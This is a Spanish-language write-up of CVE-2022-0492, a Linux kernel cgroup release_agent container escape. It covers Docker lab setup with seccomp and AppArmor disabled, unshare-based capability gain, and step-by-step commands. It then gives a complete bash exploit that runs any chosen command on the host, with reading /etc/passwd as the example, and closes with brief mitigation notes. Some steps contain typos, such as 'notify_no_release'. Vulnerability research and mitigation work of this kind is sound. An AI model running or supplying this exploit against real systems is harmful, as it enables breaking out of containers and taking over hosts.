
Análisis técnico detallado y exploit funcional para el escape de contenedor del kernel de Linux CVE-2022-0492 mediante cgroup release_agent, con configuración de laboratorio paso a paso y guía de mitigación.
[toc]
Identificador de vulnerabilidad: CVE-2022-0492
Producto vulnerable: linux kernel - cgroup
Versiones afectadas: ~linux kernel 5.17-rc3
Impacto: Cuando el contenedor no tiene medidas de seguridad adicionales, obtener permisos de root dentro del contenedor permite escapar al host.
Simplemente use Docker en un kernel Linux con la versión vulnerable.
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Este artículo utiliza Docker como entorno experimental.
El método de explotación de esta vulnerabilidad ya es conocido, pero el punto de fallo radica en la falta de verificación de permisos al modificar el release_agent de cgroup, lo que reduce aún más la barrera para la explotación de escape (anteriormente se requería el privilegio CAP_SYS_ADMIN, esta vulnerabilidad no lo necesita). Las diferencias específicas en los requisitos de explotación se ven en la sección "Condiciones de explotación".
Analizando el parche, corrigió la función cgroup_release_agent_write añadiendo autenticación. Esto significa que el release_agent de cgroup ya no permite su modificación por usuarios sin permisos:

Por lo tanto, se determina que esta vulnerabilidad es un control de acceso defectuoso.
cgroup, o Grupo de Control de Linux, es una funcionalidad del kernel de Linux que se utiliza para limitar, controlar y aislar los recursos de un grupo de procesos (como CPU, memoria, entrada/salida de disco, etc.).
cgroup tiene los siguientes subsistemas:
devices para permisos de dispositivos a nivel de procesocpuset asigna la cantidad de CPU y nodos de memoria que un proceso puede usarcpu controla la proporción de CPUcpuacct estadísticas de uso de CPU, como tiempo de ejecución, tiempo estrangulado (throttled)freezer pausa los procesos en el Cgroupnet_cls junto con tc (controlador de tráfico) limita el ancho de banda de rednet_prio establece la prioridad del tráfico de red de los procesoshuge_tlb limita el uso de HugeTLBperf_event permite que la herramienta Perf realice mediciones de rendimiento basadas en grupos de CgroupLos cgroup en el host están todos en /sys/fs/cgroup, donde se pueden ver los subsistemas de cgroup:

El subsistema cgroup correspondiente en Docker es un nodo hijo del cgroup en el host. Ver el cgroup de memoria en Docker:

El nodo con el nombre del contenedor correspondiente en el directorio de Docker del host es exactamente el mismo:

cgroup se utiliza a través del sistema de archivos. Montando cgroup en un directorio mediante mount, cgroup interactúa con nosotros a través del sistema de archivos virtual VFS. Las interfaces de cgroup se presentan en forma de archivos, y se pueden configurar parámetros de cgroup directamente usando operaciones de archivo.
mount -t cgroup -o memory cgroup /tmp/testcgroup

Se pueden crear nodos hijos de cgroup creando subdirectorios en el directorio: mkdir /tmp/testcgroup/x.
Cada subsistema de cgroup tiene un parámetro notify_on_release, que es de tipo booleano (1 o 0). Puede activar o desactivar la instrucción del agente de liberación. Si notify_on_release está habilitado (1), cuando el cgroup ya no contenga ninguna tarea (es decir, cuando el último proceso del cgroup sale y el archivo tasks del cgroup está vacío de PID), el kernel del sistema ejecutará el contenido del archivo especificado por el parámetro release_agent. El valor de notify_on_release se modifica mediante el archivo notify_on_release.

La vulnerabilidad radica en la modificación del release_agent. Originalmente, cualquiera que pudiera operar cgroup podía modificar el release_agent, y solo se requería CAP_SYS_ADMIN para usar cgroup. Pero luego los investigadores descubrieron que mediante el comando unshare se podía crear un nuevo namespace y obtener todas las capabilities, por lo que la restricción de CAP_SYS_ADMIN dejó de existir, reduciendo drásticamente la barrera de explotación.
La función del comando unshare es eliminar la compartición de los namespaces especificados con el proceso padre y luego ejecutar el programa especificado uniéndose al namespace recién creado. Lo relevante para nuestra explotación es que el namespace creado por unshare posee todas las capabilities, incluida CAP_SYS_ADMIN.

Esta explotación es igual que el método tradicional de escape usando CAP_SYS_ADMIN + release_agent de cgroup, pero las condiciones de explotación son diferentes.
Las diferencias en las condiciones de explotación respecto al escape tradicional con release_agent son:
release_agent tradicional: el contenedor necesita tener CAP_SYS_ADMIN y no tener apparmor ni selinux activados.
cve-2022-0492: el contenedor está desprotegido (más específicamente, seccomp no deshabilita unshare, apparmor no activa cgroup de solo lectura, selinux desactivado), y se obtienen permisos de root dentro del contenedor. No se necesita CAP_SYS_ADMIN.
Vale la pena mencionar que apparmor de Docker por defecto activa cgroup de solo lectura, y seccomp de Docker por defecto deshabilita unshare sin el privilegio CAP_SYS_ADMIN. k8s por defecto suele tener contenedores desprotegidos. En resumen, como la explotación es relativamente fácil, se puede intentar en escenarios específicos.
Después de la corrección: según el código del parche:

Para modificar el archivo release_agent se necesitan dos condiciones:
Por lo tanto, después de la corrección, el privilegio CAP_SYS_ADMIN obtenido mediante unshare ya no puede modificar el release_agent, porque el nuevo namespace obtenido con unshare no es el namespace raíz. Pero si el contenedor ya tiene el privilegio CAP_SYS_ADMIN, todavía puede usar este método para escapar.
Si Docker se inicia con el parámetro --cap-add=SYS_ADMIN o --privileged (contenedor privilegiado), entonces tiene el privilegio CAP_SYS_ADMIN y no necesitamos obtenerlo adicionalmente, como en el siguiente comando de inicio:
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Un Docker con CAP_SYS_ADMIN puede pasar directamente al siguiente paso "Modificar release_agent". El comando para iniciar un Docker sin CAP_SYS_ADMIN y reproducir la vulnerabilidad:
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Sin CAP_SYS_ADMIN, obtener el privilegio CAP_SYS_ADMIN mediante el siguiente comando unshare:
unshare -UrmC --propagation=unchanged bash
El namespace recién obtenido posee todas las capabilities.

Montar cgroup en un directorio. Este paso requiere CAP_SYS_ADMIN porque se usa mount. Después del paso anterior, o tenemos CAP_SYS_ADMIN de forma nativa o lo hemos obtenido mediante unshare. Además, necesitamos crear un nodo cgroup en el cgroup recién montado para facilitar la operación de vaciar tareas posteriormente:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
Aquí, si memory no se puede montar o no tiene release_agent, se puede cambiar a otro subsistema de cgroup.
A través del archivo /etc/mtab se puede ver la información del sistema de archivos overlay de Docker montado. upperdir es la ruta absoluta del directorio raíz del contenedor en el host:

Se puede obtener con el siguiente comando:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
Establecer notify_on_release a 1 para habilitar la función de ejecutar el release_agent después de que las tareas se vacíen:
echo 1 > /tmp/testcgroup/x/notify_no_release
Crear el archivo que se ejecutará cuando se active el release_agent:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
Modificar el release_agent para que apunte a la ruta del archivo cmd en el host (ya hemos obtenido la ruta del directorio raíz del contenedor en el host):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
A continuación, ingresar una tarea en el nodo cgroup x, escribiendo el PID del shell actual en cgroup.procs.
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
El comando sh solo ejecuta una instrucción echo, que termina en un instante, por lo que el nodo cgroup x ya no tiene ninguna tarea. Esto desencadena notify_on_release para ejecutar el archivo /cmd al que apunta release_agent. El kernel lo ejecuta, ejecutando nuestro comando especificado fuera del contenedor, completando el escape. Escape exitoso:

Se escribió un exploit según el proceso:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
Ejecutar directamente, pasando como argumento un comando que se desee ejecutar en el escape, por ejemplo: ./exp.sh "cat /etc/passwd"
Escape exitoso:

Docker por defecto tiene seccomp y apparmor activados. La vulnerabilidad no puede escapar de contenedores que tienen seccomp y apparmor con reglas predeterminadas. k8s por defecto no tiene ninguna medida de seguridad, es necesario activar manualmente seccomp y apparmor o selinux.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
Además, se consultó a las personas que participaron en el descubrimiento de esta vulnerabilidad.